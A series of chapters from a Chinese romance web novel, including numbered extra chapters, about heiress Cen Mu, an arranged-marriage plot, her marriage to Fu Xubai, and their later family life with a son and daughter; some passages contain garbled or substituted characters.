岑慕倒没有特别抗拒,也是怕表现出太抵抗的姿态,会惹沈香薇生气。 她假模假样的拿起照片看了几张,然后感慨道: “这就是您说的长相不错?” 沈香薇轻笑:“这是找老公,又不是找明星回家当花瓶看,还是要综合考虑,五官周正就好,最重要的是家世和人品,再说了,要是真给你那些娱乐圈的明星,你愿意?” 岑慕身处这个圈子,多多少少还是能够认识一些明星的,对于那些只是单纯模样好看的男人也没什么兴趣。 同样,沈香薇也不会同意她找一些家世平平的男人回来做女婿。 她平日看起来好说话,但是在女儿的这件事情上,却是很有主意。 她唯一的原则便是,自己的女儿绝对不能下嫁。 大概是见过身边太多千金大小姐吃亏的例子,所以她也不会同意自己的女儿去找条件不好的男人。 她的女儿,生来便是享福的,而不是去扶持别人的。 而且为了家族利益,强强联合才能走的更长远。 岑慕嘟囔着:“那这些人也太难看了。” “有吗……”沈香薇又仔细的看了看照片,“若是这些人你不满意,那就换一批,反正男人多的是,这次慢慢挑,总能挑到心仪的,不着急。” 岑慕还没打算把中午的那件事情告知于沈香薇。 因为她还不确定傅叙白到底是认真的还是在拿她寻开心。 若是真的想跟她结婚,就这样草率的通知她,未免也太不把她当回事儿了。 所以岑慕才怀疑这男人是在逗她开心。 她把买来的香水交给沈香薇,然后说自己困了,想上楼睡个午觉,这才从那堆照片里面逃了出来。 她的确是有些颜控。 照片上的这些男人根本不能入她的眼。 就连当初的秦玉明,都是吊打这些男人的。 若是跟傅叙白比起来,那就更是一地一天了。 岑慕想到这的时候,正对着镜子摘下自己的流苏耳坠。 傅叙白那张清冷禁欲的脸庞出现在脑海中的瞬间,她也忍不住一愣。 从什么时候开始,她竟然不自觉的拿他开始跟其他人比较起来了。 岑慕有些别扭的叹气,然后换上睡衣,直接栽倒在自己柔软的大床上,准备先睡个舒服的午觉。 这个午觉睡得时间不长,刚刚好一个半小时。 岑慕先是舒适地伸了个懒腰,然后拿起床边的手机,很自然的查看着手机上有没有新收到的消息。 巧的是,她醒来一看手机,就发现半个小时前,备注为【傅叙白】的男人给她发来了消息。 傅叙白:【安全到家了吗。】 岑慕指尖犹豫两秒,然后回他: 【到家了。】 很快,那边就回复过来。 傅叙白:【嗯。】 消息就停留在这个界面,没有再聊下去。 之后几天,二人也没有过多的在手机上聊天。 反而是岑家,有些热闹。 岑慕这几日发现家中都有客人来访,目的很明显,都是想跟岑家联姻的。 有时候岑慕下楼,发现楼下坐着客人,干脆都懒得演戏,直接上楼忙碌自己的事情。 昨日,她本打算再次上楼,结果发现楼下还坐着个熟悉面孔。 她略微眯眸,打量了一眼那人,然后走了过去,不敢置信的问道:“你怎么来了?” 坐在沙发上的人正是巩嘉言,华誉公司的三公子。 那天就是在他的生日宴上,岑慕还跟孟荔见了一面。 大概是岑慕视线太过于讶异,巩嘉言面露尴尬,小声道:“我这也是听家里面人的话才过来拜访伯父伯母的。” 最重要的是二人从小就认识,属于老熟人,不可能会来电的类型。 这波长辈乱点鸳鸯谱的操作,纵使厚脸皮如巩嘉言,也有点脸红了。 岑慕反而笑出声,故意打趣他:“你该不会是想入赘岑家吧?” 巩嘉言赶忙解释:“我可从来没有过这种高攀的想法,这不是怕爸妈生气,过来说说话嘛,正好我也有一段时间没见伯父伯母了。” 岑慕轻拍他的肩膀,没打算留下来跟他叙旧。 “那你慢慢坐,我先上楼了。” 巩嘉言:“……” 后来岑慕听着楼下的动静,差不多半小时之后,巩嘉言就自觉离开这边了。 所以今日保姆阿姨再来敲门说外面有客人的时候,岑慕下意识的抗拒道: “就说我有事,一会儿再出去。” 保姆站在门口,面露难色,提醒道: “今天来的客人是秦家二小姐。” 岑慕拿着画笔的手一顿,“秦月灵?” 保姆:“对。” 岑慕:“她怎么来了。” 保姆:“不清楚,不过此刻已经在楼下了,看模样气势不小。” 岑慕最了解秦月灵脾气,她放下画笔,顺便把围裙解了下来,对保姆说道: “好,我知道了,这就下去,你先下楼招呼着。” 待岑慕下楼的时候,就看见秦月灵气势汹汹地坐在沙发上。 看见岑慕下楼,她迅速起身,一脸不爽地往她这边打量过来。 “今天怎么有心情来我这边了?”岑慕淡定走到她面前。 秦月灵本来是计划着近期出去玩的,但是因为她哥这事儿,家里面乱成了一锅粥,她也没了要出去玩的心情。 她忍了好几日,今天就是专门来找岑慕算账的。 她由上而下的看着岑慕,气不打一处来。 秦玉明最近被家里面看得紧,又被家里面逼着他跟外面那女人断了关系,整个人都消瘦不少,岑慕看起来倒是春风得意的,照样是那副闲散的娇贵模样,好似发生什么事情都不能扰乱她的节奏。 秦月灵觉得自己跟岑慕天生的就磁场不合,不然怎么会每次看到她这幅样子,总是会被气到。 她勾了下唇,讥讽道:“看来这段时间你过得不错。” 岑慕坐在沙发上,倒了杯茶,缓慢的喝了口,“看样子,你今天是来兴师问罪的?” 秦月灵就站在她面前,穿着高腰包身裙,一双笔直长腿看起来很有观赏性。 “你如果没打算真的要跟我哥结婚,干脆就直说好了,为什么要把两家人的关系搞得那么难看,现在秦家因为这件事情而蒙羞,如果不是因为你把照片发给媒体那边,我哥也不至于沦落到这个地步。” 岑慕思索两秒,“所以……你的意思是,他跟孟荔的事情,怪我?” 秦月灵微微理亏,“这件事情的确是他不对,但我现在跟你说 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她本来是以为哪个不长眼的世家公子今日来了这边,要是让秦月灵看见,肯定又是一顿讥讽。 保姆带领门口客人往客厅这边走来。 秦月灵抱臂,一脸不爽地回头去看。 然而,来人却令她意想不到。 男人身穿灰色衬衫,袖口微卷,腰间的牛皮板扣式皮带勾勒着腰肢劲瘦有力,这人是典型的衣服架子,宽肩窄腰,身材比例几乎于完美,露出来那一小截白皙手臂结实有力,青筋若隐若现,男性荷尔蒙呼之欲出。 秦月灵先是愣住,然后不敢置信的开口:“……傅叙白?” 傅叙白视线清冷地在她身上扫视一圈,淡淡道: “你今日也在?” 秦月灵耸肩:“还真是巧。” 见二人气氛不对,傅叙白眉峰微动,“看来我来的不是时候。” 秦月灵:“不会,我就是随便来说几句话,一会儿我就走了,毕竟这边也没什么人欢迎我。” 傅叙白对她为何而来,其实并不感兴趣。 因为他今天来还有别的正经事要做。 岑慕见他来家中做客,礼貌起身,说道: “你今日是来找我爸爸的吗?他现在还在楼上,你可能要稍等一阵。” 傅叙白视线落在她身上,唇角微弯。 “不着急,我今天主要是来找你的。” 待看向岑慕的时候,傅叙白声音不自觉柔和了几分。 她今日穿的倒是可爱的。 傅叙白不太懂女孩子的穿搭,但每次见岑慕,发现她穿衣服的风格总是多变的。 她穿着绿色晕染烧花连衣裙,裙摆处位置到了脚踝,绿色衬托着整个人都活灵活现了起来,领口处佩戴着一条绿色水滴形宝石项链,衬托着皮肤雪白通透,像是吹弹可破。 大概是他的到来令她有些意外,圆眸微睁,带着些不谙世事的透亮。 “……找我?”岑慕有些讶异,然后看着傅叙白往这边走来。 在傅叙白跟岑慕交谈的时候,秦月灵就感觉有些不对劲。 但她一时半会儿察觉不出来这种不对劲到底是什么意思,只是觉得他们两个的氛围有些暧昧了。 上次见面的时候,这二人还没有这么熟络。 短短一段时间,他们两个的关系竟然飞速进展到这个地步了。 秦月灵心里面已经有点不好的预感了。 她抿唇,压抑住心脏微涩的感觉,看向傅叙白那边。 然而,傅叙白接下来说出口的话,却令她大吃一惊。 傅叙白走到岑慕面前,然后脚步停下。 男人身材颀长,身影覆盖在眼前,莫名的有些压迫感。 他睫毛低垂,看向岑慕,声音温和又带着些许沙哑味道。 “我今天,是专门来谈结婚的事情。” 83、带崽②. 傅叙白下楼总共热了三次牛奶。 第一次是给岑慕喝的,第二次她喝不下了,这杯由傅叙白来解决,最后一次,岑墓没了体力,所以傅叙白又下楼给她热了杯牛奶 他热牛奶动作迅速,也没注意到儿子全程都在看向他这边。 这个年纪的小汤圆正处于人类模仿阶段。 见爸爸如此殷勤地上楼替妈妈热牛奶,于是他便有样学样的想关心妈妈. 只是,他还没想到热牛奶的真正含义。 岑慕听着儿子外面说的那番话,脸颊迅速红了起来。 她今天已经喝了两杯牛奶,没有胃口再去喝了。 她瞪着身旁的罪魁祸首,示意他出去处理。 傅叙白点头,然后穿好浴袍,起身去门口那边开门。 开门瞬间,他就看到小汤圆手中端着一杯牛奶,正满眼期待地看向他。 傅叙白稍不注意,小汤圆就想偷溜进去卧室。 傅叙白拦住他,“等下,妈妈还在睡觉。" 小汤圆眨了眨眼睛,“我给妈妈热了牛奶。 傅叙白垂眸看着他手中的那杯牛奶,也,忍不住有些头疼。 看来,有些东西的确不能让儿子知道了。 他接过小汤圆手中的牛奶杯,温声道: “我替你拿进去。 小汤圆脸上难掩失落,“妈妈怎么睡了这么久,是不舒服吗?" 岑慕此刻的确需要好好睡眠补充体力了。 傅叙白应道: “没有,她是太累了,所以需要好好睡一觉。" 小汤圆懂事地送上牛奶,然后便没有继续打扰妈妈睡觉了。 等到晚饭时候,岑慕下楼了。 小汤圆依偎在她怀里面,问她牛奶好不好喝, 岑慕略微无奈,只能说很好喝。 但由于傅叙白每次热牛奶太过于明目张胆,以防儿子长大以后会察觉,所以岑慕强硬地要求喝牛奶的这个暗号取消,否则小汤圆长大以后也学了他老爸这做派, 傅叙白虽然答应了她暗号取消,却也忍不住挑眉发问: “我是什么做派?" 岑慕嘀嘀咕咕地说他不正经 傅叙白勾唇浅笑,“这是夫妻正常行为,儿子就算长大了,也会理解的。” “不行,等到他长大以后也要好好教育他,就算是谈恋爱,也要对女孩子负责,不能随便伤别人的心。 岑慕气不过,捏着他窄劲的腰, 傅叙白反手握住她手掌,“你放心,家风很正,他不会是那种人,我相信儿子。" 岑慕想着小汤圆那张精致小脸蛋,又想到之前他生日游艇派对的时候,身边那帮姐妹团竟然就已经开始预订小汤圆作为未来女婿了 岑慕跟傅叙白吐槽着这件事情,说是让他别在外面随便答应娃娃亲,毕竟如今已经是恋爱自由的年代了 她当初就是被迫答应家里面的联姻,才跟秦玉明那厮扯上关系, 事实证明,还是要自己一眼看上的人才是最合眼缘的。 当初,她对傅叙白就是一眼钟情,如今才有了小汤圆。 傅叙白沉默几秒,“我不会随便答应,不过有人已经开始提出邀请了。" 岑慕狐疑看过去:“该不会是你身边的朋友?" 傅叙白从抽屉里面拿出来红包,轻笑道: “的太太前阵子刚生产完,是个千金,红包还没来得及送出去,过阵子是满月酒,到时候再给她,而且叶弘自打知道生的是个女儿后,没少炫耀,说是以后可以弄个娃娃亲,有利于两家来往。 说完,他又补充道:“不过我没答应。" 岑慕沉思道: “是个女儿啊。 傅叙白:“嗯,看得出来,他很开心。 岑慕一开始也想过自己可以生个香香软软的女儿,只不过小汤圆跟他们的羁绊更深,主动的来到了他们的这个世界 岑慕自然是喜欢小汤圆的,只是她在心里面也期待过有个宝贝女儿。 但她也跟傅叙白交代过,这种话万万不能在小汤圆面前提及,否则容易伤到他那颗脆弱的幼.男之心。 后来,岑慕又暗戳戳地问傅叙白,问他喜不喜欢女儿。 傅叙白当时一本正经地发着邮件,说是男孩女孩儿都一样,他都很喜欢。 岑慕生育辛苦,他也不舍得让她再次怀孕了。 自打生完小汤圆之后,二人几乎都是有避孕措施的,也没有再要二胎的打算。 但是等到参加叶弘女儿满月酒的那一天,傅叙白还是忍不住从叶弘的手里面接过他家千金,认真地打量了好一会儿, 叶弘生的这女儿很乖,不怎么爱哭,白白净净的,看起来格外讨人喜欢。 傅叙白不仅送了红包,还送了一对漂亮的金手镯,寓意平安富贵, 他对朋友一向出手阔绰,加上这孩子实在是惹人喜爱,所以傅叙白当场就认下了干女儿。 叶弘倒是开心,女儿刚出生,就有了傅家这靠山,以后的道路肯定也是顺风顺水 见傅叙白一副喜爱模样,等到他再次回到身边的时候,岑慕忍不住浅笑吐槽道 “还说自己不喜欢女儿。 傅叙白:“叶弘运气好,生了个这么听话的女儿,应该是不像他,像他母亲。 岑慕挑眉,忍不住反问:“你运气不好?" 听着这话,岑慕才算是满意,她轻哼一声,然后转头去看小汤圆. 小汤圆对这个新生的婴儿也很感兴趣。 他趴在旁边,认真地看着叶弘女儿。 叶弘捏他脸颊,提醒道: “妹妹年纪小,还不能碰,你就看看得了,等到她长大以后,你就带着她出去玩。 小汤圆兴奋道:“真的可以吗?"“可以啊。”叶弘打趣道,“反正你们家也没妹妹,你就把我女儿当成亲妹妹就行。这话有些刺激到小汤圆了。等到回家后,小汤圆就缠着岑慕问她自己为什么没有一个妹妹,岑慕没办法回答他这个问题,只得小心翼翼地回道:“你想要妹妹?" 小汤圆认真点头:“想要。 岑慕的确没办法凭空给小汤圆变出来一个妹妹。 她摸摸儿子的头,很抱歉的表示家里面只有他一个宝宝。 小汤圆虽然失望,但是也没办法。 等到他睡觉后,岑慕把这件趣事告知傅叙白。 傅叙白刚洗完澡,回复完助理消息之后,听到岑慕说这话,也忍不住勾唇,“他这个年纪,希望有个人陪伴自己也是正常的事情。 岑慕当时没回应,等到关灯后,又忍不住伸手碰了碰傅叙白的腰。 傅叙白斜睨过去,提醒道: “上次是谁说让我半个月之内都保持克制的?" 岑慕今晚看起来兴致颇高,在他耳边提着建议: “要不然我们也要个女儿?" 傅叙白拒绝了她的提议,并且把她的手掌塞回被子里面,示意她早点睡。 岑慕被拒绝一次之后,又去咬傅叙白的脖颈,在他脖颈上留下了一个鲜艳的草印。 傅叙白这次没拦着她,只是说道: “明天我要坐飞机去国外出差,估计到时候合伙人看到之后又要调侃我了。“ 岑慕:“调侃你什么?" 傅叙白轻笑着指着脖颈处的痕迹,“有个年轻有活力的太太,有时候的确会令人有些难搞。 岑慕难得有兴致主动向他邀请,结果却被傅叙白拒绝了。 他跟她温声讲着道理,“生育很辛苦,我总不能因为想多一个妹妹陪伴儿子,就让你怀孕了。 岑慕见他正经模样,嗫嚅下了唇,也不好再说些什么。 他低头,缱绻多情地吻住岑墓,舌尖技巧性地在她唇内转了一圈,直到惹得岑墓眸光潋滟,他才松开她,盯着她殷红的唇瓣,低哪道 “我出差的这段时间,你可以带着儿子回岳母那边住,也省的你一个人带孩子辛苦。" 傅叙白前段时间为了等岑慕回国,也不想让儿子在家中太过孤单,所以把自己的工作计划稍微耽误了, 如今小汤圆刚等到妈妈回家,结果爸爸就出差了。 只是这次,他明显欢快许多。 岑慕陪伴他的时间很多,他日常想不起来爸爸。 但是那天他看到自己最喜欢的玩具品牌出了新款式,马不停蹄地要给傅叙白打电话。 傅叙白接到儿子的电话后,还以为他是想自己了。 他笔尖在文件上落下一个签名,然后心情不错地问儿子,“想爸爸了?" 小汤圆乖巧道: “想了。" 傅叙白还没来得及说话,小汤圆就开始说自己最喜欢的那个玩具品牌出了新系列,还是第一批,目前国内买不到,傅叙白正好在国外,可以帮他买到,。 这些还是岑慕告诉他的,所以小汤圆此刻很认真地通知爸爸,让他回来的时候记得把自己的礼物带回来. 傅叙白停顿几秒,然后才明白儿子给他打电话的目的。 原来是想玩具了,不是想爸爸。 想到他之前给岑慕打电话时候委屈巴巴的模样,再想想他此刻欢快的模样,傅叙白忍不住头疼的捏眉。 果然,儿子就是漏风的皮夹克。 他再一次深深地领会这个事实了。 但是儿子还是要宠,傅叙白没办法,只得答应他,然后让他把电话给妈妈。 岑慕接了电话之后,先是关心傅叙白一阵,然后才问他什么时候回国。 傅叙白轻笑,感慨道: “好在家中还有人是真的想我。 岑慕打趣他:“吃醋了?"傅叙白:“儿子跟你感情很好,这点我应该开心。岑慕:“他确实很喜欢那套玩具,所以刚才一直在提,但是你出差的这段时间,他也一直在念叨爸爸什么时候才能回来。傅叙白低笑一声。恰好这时候门外有人敲门,他跟来谈话的人用英文交流了一阵,然后才把注意力转移到电话这边。"好了,现在不会有人来打扰我们。” 岑慕此刻正要入睡,傅叙白那边却是下午时间, 小汤圆就躺在她身边,打完电话之后就歪在枕头上睡着了,傅叙白把手中钢笔放到一旁,问岑慕这次有没有什么想要的礼物,他可以一起买回去傅叙白每逢出差,都是要给她带礼物的。她嘟囔着说自己不需要礼物。 傅叙白:“不要礼物?” 岑慕:“嗯,你早点回来就好。 傅叙白轻笑:“那我算是你的礼物?" 岑慕闷了几秒,“".差不多。" 在临走之前,傅叙白拒绝了妻子,所以导致他这段时间一直都感觉有些亏欠。 那晚,他也不想太过火。 一是因为次日要坐飞机出差,二是岑慕忽然来了要女儿的兴致,他担心她是一时兴起,所以不想让她太冲动。 傅叙白默了几秒,睫毛轻垂 84、西装跪 妹妹刚出生的时候,小汤圆因为总是好奇这个小小生物,影响到妹妹睡觉,所以被禁止随意出入妹妹房间, 但他对于自己的妹妹是格外喜爱的。 他看着妹妹与自己有些相似的五官,想着他终于有个妹妹了。 女儿出生后,傅叙白在书房坐了一夜,然后手拿毛笔,写下了女儿的名字。 傅婉宁。 乳名晚晚。 妹妹的性格与小汤圆不同,不太爱哭,看着便是乖巧可爱 等她长大了一些之后,岑淮屿便能带着她到处去玩。 他六岁时,看起来比小时候要稳重了,但仍是稚气,有时候也会做出一些令父母哭笑不得的事情。 妹妹还小,所以经常需要人陪。 傅叙白会拿着一本书,进妹妹的房间给她讲睡前故事。 般的童话故事她早就听腻了,所以傅叙白现在开始给她讲法语版的童话故事。 这个年纪 汉字还没认全,就开始接受外语的熏陶了 不过听不懂也没关系,身旁有爸爸的低沉嗓音哄着入睡,小姑娘一般都会很快入眠, 岑淮屿倒不会吃醋于爸爸的区别待遇,而是清楚的知道妹妹比自己小,要多加爱护, 妹妹是家中团宠,这是岑淮屿从小就知道的事情,而且他作为哥哥,要有哥哥的胸怀 他性格好,父母教育的又得当,所以以小年纪便颇有绅士风范,走到哪里都惹人喜爱 今日。 傅叙白刚带他出席了集团年会,当小少爷出现的那一刻,公司里面那帮高管看着面前这个跟博总如出一辙的小少爷,忍不住惊讶,几年不见,傅总的儿子竟然都这么大了。 可他们有时见傅总太太来公司,跟之前仍是没有任何区别,一样的漂亮高贵,还是江城令人羡慕的贵太太。 傅总近些年事业节节攀升,太太也没有放弃自己的事业,提高知名度的同时也给傅氏带来了正面效益。 他们二人,在江城算是模范夫妻的楷模。 傅总多金帅气,却从不沾花惹草,也没有擦边绯闻,对妻子从一而终,就算是之前有觊觎过他的女人,知道他品性后,也不敢贸然靠近。 旁人都知道他对自己太太格外好,每年都要花大价钱给太太购置礼物,甚至在博氏的某个子公司下专门成立了一个以二人名字为l0go的品牌,作为恩爱纪念. 此刻,岑淮屿正穿着黑色小西装,一本正经地坐在椅子上,尽量装出面无表情的酷炫模样。 来之前,妈妈交代他,要严肃,要正经,不能到处乱看,更不能给爸爸丢人。 所以他认真贯彻妈妈的要求,坐在椅子上,背脊挺的很直,与他老爸姿态如出一辙 后来,酒会上的人都端着酒杯到处闲聊。 傅叙白递给儿子一杯酸奶,示意他可以放轻松。 岑淮屿抬了抬下颌,有些纠结地接过酸奶。 显然。 他并不想在这种场合喝酸奶。 傅叙白勾唇浅笑:“你只能喝这个。 “只有成年人才能喝酒。 岑淮屿接过爸爸手中的酸奶,浅尝一口,发现果然还挺好喝的。 只是他很矜持,喝了一口,便放在旁边。 今日年会,这边来了不少生意上的合作伙伴。 傅叙白的某个生意伙伴,也带来了自己的女儿来参加年会。 那女孩儿跟岑淮屿年纪相仿,所以傅叙白安排他们两个人可以坐在一起闲聊 只是没过几分钟,那女孩儿就哭着跑到爸爸身边寻求安慰了。 傅叙白沉默几秒,然后走到岑淮屿身旁,询问他刚才是什么情况。 岑淮屿睫毛垂下,认真道: “我不是欺负她。" 傅叙白捏捏他脸颊,耐心询问:“那人家怎么哭了?" 岑淮屿: 傅叙白:“让女孩子哭,可不是好习惯。 岑淮屿安静两秒后,解释道: “她刚才夸我长得好看。“ 傅叙白轻笑: “然后呢。 岑淮屿:“她想跟我牵手。” 傅叙白喝了口杯中的酒,微微挑眉。 岑淮屿:“我拒绝了她,然后她就不开心了,说让她daddy来做主,后来我还是没答应她,她就生气了,转身就跑了。 傅叙白:“只有这样?" 岑淮屿乖乖道: “只有这样。” 傅叙白倒是了解那家女儿的。 性格很跋扈乖张,家中只有这一个女儿,所以格外宠着。 岑淮屿生的好看,近两年长大了些,五官越发清俊好看,所以很招小女孩儿喜欢。 傅叙白甚至发现,不管什么年纪的小女孩儿,都喜欢长得好看的。 他在国际幼儿园上学,就有小女孩儿偷偷给他塞礼物。 虽说他班上的同学都是家境优渥的,可岑慕知道后,还是让他把礼物还了回去,说是不能随便接受女孩子的礼物,除非他打算回礼 但他这个岁数,还不到回礼的阶段。 岑淮屿很听话,岑慕怎么说,他几乎就是照做。 但傅叙白有几次去幼儿园那边接儿子,倒是能看到他身边总有女孩子围绕着他说话。 见儿子这么说,傅叙白眸中出现浅浅笑意。 他这么小,就知分寸的不去随便跟女孩了牵手,还是岑慕教得好 岑淮屿还在那边碎碎念,“我不喜欢随便跟女孩子牵手。 “你不喜欢她?" 傅叙白: 岑淮屿摇头:“不讨厌。 但是,也不喜欢。 岑淮屿:“妈妈说了,对女孩子要绅士,也要讲规矩。” 他在外一向是小少爷的高冷人设,只有回家面对妹妹的时候才会露出开心模样。 傅叙白没责备他,只是摸了摸他的头,“好了,这件事情不怪你,一会儿我替你去安慰她。 终究是小孩子,稍微哄一哄就好了。 等到年会结束,岑慕给傅叙白发来消息,说是开车在外面等候他们父子二人。 傅叙白带着儿子上了车,看到岑慕正坐在驾驶座上往这边看来。 她下午刚带着女儿去了游乐场,本来是想着过来参加年会,但是时间来不及,索性在那边解决了晚饭。 傅叙白身上带着些许酒气,她轻微凑近,稍微闻,问道: “你喝了酒?" 傅叙白松松领带,笑着:“不算很多。" 一上车,妹妹就激动的握住岑淮屿的胳膊。 她这个阶段,说话还不是很清楚,却很有表达欲。 她吱吱呀呀的跟岑淮屿说了半天,岑淮屿表面高冷,却是很受用于妹妹的撒娇,他小心翼翼地拿起手边干净的手帕,替妹妹擦掉口水,口嫌体正直地说道 “都是口水,脏死了。” 妹妹丝毫不在意哥哥的嫌弃,继续说着白己今天玩了什么, 最近公司一直在忙碌着年会的事情,又将近年尾,要处理的事情很多。 傅叙白的应酬也比之前要多了一些。 但一般应酬的时候,他也会把时间控制在十一点之前,尽量不太晚回去,避免影响家人休息。 岑慕在他应酬的时候一般都不去打扰,偶尔见时间不早,才会打过去电话,问他什么时候到家 傅叙白也很是白觉,若是饭局还没结束,但接到岑慕电话之后,就会起身离开,说是家中太太催了,需要赶回去 般旁人听到他这话,肯定不敢阻拦。 太人都催了,若是他们敢拦着,那傅总回去岂不是要跪搓衣板了。 只是这话,他们也不敢当着傅叙白的面调侃,只是私下偶尔揶揄两句,知道傅总是怕老婆的,大家心知肚明也就算了 傅总宠老婆,那在江城是独一份。 出来应酬的这种场合,难免遇到一些风花雪月的诱惑. 但傅叙白却是把清醒克制做到了极致,一般有他在的场合,也不会有那些龊事, 他做事情简单高效,谈完合作就请客吃饭,之后让助理结账,一气呵成,几乎没有其他娱乐 岑慕很少过问他在外面的应酬,也是因为对他信任。 车上。 傅叙白声音有些疲惫地说:“明天还有一场应酬。 岑慕一边开车一边往他那边睨过去:“是你之前说的那个法国合作商?" 傅叙白:“嗯,他们来了这边,我好歹要尽地主之谊。 岑慕:“你精通法语,自己沟通就可以,连翻译都不用请了。” 傅叙白轻笑问她: “你要不要去?" 岑慕撇唇:“不要。 除非是重要场合,岑慕才会作为太太出场。 般的小场面,她也懒得出席。 毕竟应酬这种事情,也需要耗费精力,除了像傅叙白这种身经百战的,换做旁人,也不好应付。 但是知道傅叙白要应酬,岑慕还是到家交代阿姨明天提前煮好醒酒汤,等着傅叙白到时候回来喝 阿姨听到岑慕交代,忙不迭点头,又看到身后傅叙白带着两个孩子走进来,忍不住笑着调侃: “太太现在是越来越关心傅总了。" 此话一出,不远处的傅叙白也听到了。 做饭阿姨在这边工作也有些年月了。 岑慕刚嫁进来的时候,她就在这边工作。 那时候,傅总每日都要中午赶回来吃饭,还要特意交代她做太太喜欢的饭菜。 如今,傅总也被太太关心了,看来是夫妻感情更加好了。 傅叙白进来的时候,正好听到阿姨说这番话。 他笑了笑,然后解开袖扣,往岑慕那边看过去。 岑慕脸颊微红,嘟囔一声,然后装作没听到这话一般的走上楼。 她先是回房间处理了一些工作上的事情,等到事情忙完,便听到女儿的卧室那边传来动静, 此刻,该是她睡觉的时间了。 但是女儿这段时间半夜总是不好好睡觉,所以傅叙白和岑淮屿在旁边轮番哄她睡觉。 小姑娘穿着卡通睡衣,被傅叙白抱在怀里面,依然是在话痨个不停。 这时候,岑淮屿已经很困了。 他微微闭眸,却又不肯去睡,模样看起来困极了。 傅叙白劝他: “你先去睡,这边不用你管。 岑淮屿却是微微抿唇,倔强道: “不行,一定要妹妹先睡。” 说话间,妹妹手里面却是拿着一个粉色发卡,看了一会儿,然后一脸好奇的把发卡夹在了傅叙白的头发上。 岑慕靠在门框边,看到这一幕,忍不住低笑出声。 估计,这还是傅叙白的人生初体验。 他穿着一丝不苟的白衬衫,手腕上戴着精贵手表,墨发微垂,不经意间,头发上就被女儿扣上了一个粉色发夹 他敛眸,看着怀中的女儿,温声道: “你在做什么。" 岑淮屿在旁边看着这一幕,也是忍住笑意,觉得妹妹胆子实在是大。 85、同一屋檐下①. 傅家来了不速之客。 一个是傅叙白的表妹季霜,还有一个是表妹好友。 傅叙白刚回国没多久,前阵子傅家给他举办接风宴,在宴会上,他见到过这位岑家的千金。 但当时她站在父母身边,话不多,看起来是一副乖巧模样,傅叙白跟她也就是点了个头,并无其他交流。 他这阵子格外的忙。 公司里面很多事情都等着他去处理。 首先,他刚回国,在人事上就要大换血一批。 他年轻,又刚从国外回来,公司有一部分人是大哥的支持者,所以他还未能完全服众。 傅父有意把公司交给傅叙白搭理,这引起了大哥极度不满。 大嫂话里话外阴阳过好几次,无非就是觉得傅家父母做事不公,把好机会总是让给小儿子。 傅叙白没回国之前,傅家大哥在公司就不能完全掌权,等到傅叙白回国,傅父看起来倒是打算放手了,一副就是为了等他回国的模样。 有几次大嫂常菀说的过火,惹得父亲不开心,大哥在旁边忍不住训斥,只觉得常菀说话不走脑子。 就算是心里面再埋怨,也不能太过于直白的说出来。 父亲虽然表面和善,可心里面却很有自己的主意,若是真的太过分,最后只会落得竹篮打水一场空的下场。 对于大嫂偶尔的阴阳,傅叙白都视若无睹。 他每天早出晚归,没心思把时间放在她的身上。 直到,暑假之后,季霜带着自己好友来这边玩 家中父母都没意见,傅叙白自然懒得去管。 听说季霜父母出国旅游,她高考毕业之后彻底放松了,也没有学习任务,所以来傅家过暑假。 而岑慕,则是陪着季霜来过暑假。 她来这边,岑家的人还不知道。 岑家的人还以为她此刻在画术研究会那边,可岑慕早就放了那帮老古董的鸽子,跟季霜研究着暑假要怎么过 画术研究会那边以为岑慕有了其他安排,岑家的人以为她在忙,没人知道岑慕这边已经开始给自己放假了。 傅氏最近腥风血雨,傅家的人大多数都是早出晚归,偶尔看见岑幕,也只是以为她跟季霜作伴,所以没有太过在意 炎热夏季。 岑慕靠在清凉的泳池旁,宽人的草帽檐遮住脸颊。 季霜在旁边喝着柠檬茶,托腮与岑慕闲聊,“所以你家里面人以为你在学习?” 岑慕点头,“对。” 季霜听着很愁,“这件事情只有我知道?“ 岑慕继续点头。 季霜早知道岑慕不是那种古板的乖乖女,会任由家里面安排自己。 相反,她很有自己的想法。 在不忤逆长辈的前提下,她基本上都能让自己过的很开心。 季霜本来是怕事情败露后,自己成了岑慕的帮凶,可她天性没心没肺,也只是揪心两秒之后,又开始跟岑幕一起计划着过两天要去哪里漾酒。 这段时间,算是她们难得相聚的时光。 暑假过后,季霜要去A大,岑慕则是要去牛津上大学。 下午,傅家没人。 季霜问她要不要吃草莓冰淇淋。 岑慕应道: “好啊。 她听到季霜小跑离开的声音 但过了许久,季霜都没回来。 岑慕便起身,去大厅那边寻她。 不料,她进去的时候,正好看到傅叙白伫立在客厅那边。 他神色清淡,似是在跟季霜说些什么,后来视线无意间睨到岑慕这边,便放她离开。 季霜小跑到岑慕面前,把手中的冰淇淋递给她。 岑慕随意问道: “你表哥刚才跟你说什么了?" 季霜叹气:“他说让我晚上放音乐的声音小一点,影响他休息了。 岑慕:“就这些?" “还有- 季霜抿唇轻笑,“他问我你在这边玩,家里面人知不知道。 岑慕忍不住嘟囔:“他怎么管那么多。" 季霜:“表哥性子就是这样,不过你可别说漏嘴了,要是让他知道了,估计转头就告诉你爸妈了。 岑慕:". 季霜感慨道:“那天秦月灵还跟我打探他消息来着。岑慕:“秦月灵?" 季霜:"如,这事儿你古计还不知道,我表要刚回国阵,家里面给他度风洗尘,奏日是在宴会上看见他了,据说是对他一见种情了,这阵子没少跟我打探表高消息,但表哥物有时间应付地这种小文孩儿、但我着秦月灵这染务,估计已经是种提取的了。 说完,季覆歌笑着,“但这也不能圣秦月灵,谁让表哥长着一张天生帅验,他这刚回国,江城文帮千金就已经盯上他了,不少人想要他的联系方式,但是你看他这架势,哪有想要谈恋爱的意思,单是公司里面的事情,就足够他忙碌了、" 岑慕陪着季霜玩的这几天,与傅叙白见面机会不多,他早出晚归,偶尔才能看见几次。 今天他忽然回来,也是偶然。 岑慕和季霜晚上打卡了新餐厅,又趁着刚成年,在外面偷喝了几杯酒。 只是今晚喝的这酒有些烈,胸口灼热,半夜在床上翻来覆去总是睡不着。 旁边的季霜早已熟睡。 岑慕便独自下楼,准备给自己倒杯冰水喝。 半夜一点。 大厅格外安静. 岑慕蹑手蹑脚走下楼,本以为楼下空无一人。 但当她走到客厅那边时,却看到沙发上坐着一个人。 年轻男人靠坐在黑丝绒沙发上,身穿休闲居家服,腿上是简约的灰色运动裤,他手中拿着一罐凉啤酒,大屏幕上幽暗的光芒些许照射在他脸庞上。 他一个人坐在楼下,半夜看着电影。 忽然下楼的少女,打破了他这边的宁静。 电影声音不大,凑近才能听到里面主角的对话。 